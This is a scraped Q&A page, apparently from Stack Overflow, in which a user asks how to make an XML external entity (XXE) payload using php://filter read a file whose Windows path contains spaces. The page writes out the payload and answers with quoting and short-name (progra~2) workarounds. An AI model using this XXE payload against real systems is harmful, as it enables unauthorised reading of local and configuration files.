xml - Cant read file using PHP Filter method which has spaces -


i tried read file using php://filter/ method..

i able read paths dont have spaces in between

eg: php://filter/resource=c:/windows/win.ini 

but when try read file path has spaces, getting blank response.

eg: php://filter/resource=c:/program files (x86)/xampp/htdocs/xampp/phpinfo.php 

my actual call done through xml entity

<?xml version="1.0" encoding="utf-8"?> <!doctype gpx [<!entity xxe system 'php://filter/resource=c:/program files (x86)/xampp/htdocs/xampp/phpinfo.php'> ]> 

please me solve issue.

you've couple of options:

1 - use quotes:

"c:/program files (x86)/xampp/htdocs/xampp/phpinfo.php"

2 - use shortname program files (x86):

c:/progra~2/xampp/htdocs/xampp/phpinfo.php


Comments

Popular posts from this blog

php - Permission denied. Laravel linux server -

google bigquery - Delta between query execution time and Java query call to finish -

python - Pandas two dataframes multiplication? -